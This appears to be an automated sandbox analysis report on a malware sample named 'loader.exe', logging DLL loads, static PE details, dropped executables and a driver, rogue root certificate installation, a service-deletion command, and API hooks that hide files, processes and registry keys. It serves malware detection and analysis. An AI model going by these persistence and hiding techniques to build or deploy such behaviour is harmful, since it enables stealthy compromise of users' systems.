Source: C:\Users\user\Desktop\loader.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll

Source: C:\Windows\System32\dialer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: loader.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: loader.exe

Static file information: File size 5502728 > 1048576

Source: loader.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x52e200

Source: loader.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: wepulfrfkvoz.exe, 00000019.00000003.1877581425.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp

Source: loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\System32\dialer.exe

Code function: 43_2_00000001408460F0 LoadLibraryA,GetProcAddressForCaller,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

43_2_00000001408460F0

Source: loader.exe	Static PE information: section name: .00cfg
Source: wepulfrfkvoz.exe.0.dr	Static PE information: section name: .00cfg

Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC62ACDD push rcx; retf 003Fh	20_2_00000225DC62ACDE
Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC65C6DD push rcx; retf 003Fh	20_2_00000225DC65C6DE
Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC68ACDD push rcx; retf 003Fh	20_2_00000225DC68ACDE
Source: C:\Windows\System32\winlogon.exe	Code function: 20_2_00000225DC6BC6DD push rcx; retf 003Fh	20_2_00000225DC6BC6DE
Source: C:\Windows\System32\lsass.exe	Code function: 26_2_00000202C0ACACDD push rcx; retf 003Fh	26_2_00000202C0ACACDE
Source: C:\Windows\System32\lsass.exe	Code function: 26_2_00000202C0AFC6DD push rcx; retf 003Fh	26_2_00000202C0AFC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002A6612EACDD push rcx; retf 003Fh	29_2_000002A6612EACDE
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002A66131C6DD push rcx; retf 003Fh	29_2_000002A66131C6DE
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAEDDACDD push rcx; retf 003Fh	30_2_000002BAAEDDACDE
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAEE0C6DD push rcx; retf 003Fh	30_2_000002BAAEE0C6DE
Source: C:\Windows\System32\dialer.exe	Code function: 42_2_0000000140001394 push qword ptr [0000000140009004h]; ret	42_2_0000000140001403
Source: C:\Windows\System32\svchost.exe	Code function: 45_2_0000026A879AACDD push rcx; retf 003Fh	45_2_0000026A879AACDE
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_000001795378ACDD push rcx; retf 003Fh	46_2_000001795378ACDE
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_00000179537BC6DD push rcx; retf 003Fh	46_2_00000179537BC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000002295D54ACDD push rcx; retf 003Fh	47_2_000002295D54ACDE
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000002295D57C6DD push rcx; retf 003Fh	47_2_000002295D57C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_00000253067EACDD push rcx; retf 003Fh	50_2_00000253067EACDE
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_0000025306E7C6DD push rcx; retf 003Fh	50_2_0000025306E7C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_000001845B3DC6DD push rcx; retf 003Fh	51_2_000001845B3DC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001ADECD5C6DD push rcx; retf 003Fh	53_2_000001ADECD5C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001D55905ACDD push rcx; retf 003Fh	54_2_000001D55905ACDE
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001D55908C6DD push rcx; retf 003Fh	54_2_000001D55908C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00000241A9EBC6DD push rcx; retf 003Fh	55_2_00000241A9EBC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000001CD7317ACDD push rcx; retf 003Fh	56_2_000001CD7317ACDE
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000001CD731AC6DD push rcx; retf 003Fh	56_2_000001CD731AC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_000002824E87ACDD push rcx; retf 003Fh	57_2_000002824E87ACDE
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_000002824E8AC6DD push rcx; retf 003Fh	57_2_000002824E8AC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_0000021B473DACDD push rcx; retf 003Fh	58_2_0000021B473DACDE
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_0000021B47B4C6DD push rcx; retf 003Fh	58_2_0000021B47B4C6DE

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\System32\lsass.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior
Source: C:\Windows\System32\lsass.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior

Sample is not signed and drops a device driver

Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe

File created: C:\Windows\TEMP\gyqerfjfsbie.sys

Jump to behavior

Source: C:\Users\user\Desktop\loader.exe	File created: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe			Jump to dropped file
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	File created: C:\Windows\Temp\gyqerfjfsbie.sys			Jump to dropped file

Source: C:\Users\user\Desktop\loader.exe

File created: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe

Jump to dropped file

Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe

File created: C:\Windows\Temp\gyqerfjfsbie.sys

Jump to dropped file

Source: C:\Users\user\Desktop\loader.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "NUTGFFPE"

Hooking and other Techniques for Hiding and Protection

Hooks files or directories query functions (used to hide files and directories)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Source: C:\Windows\System32\lsass.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
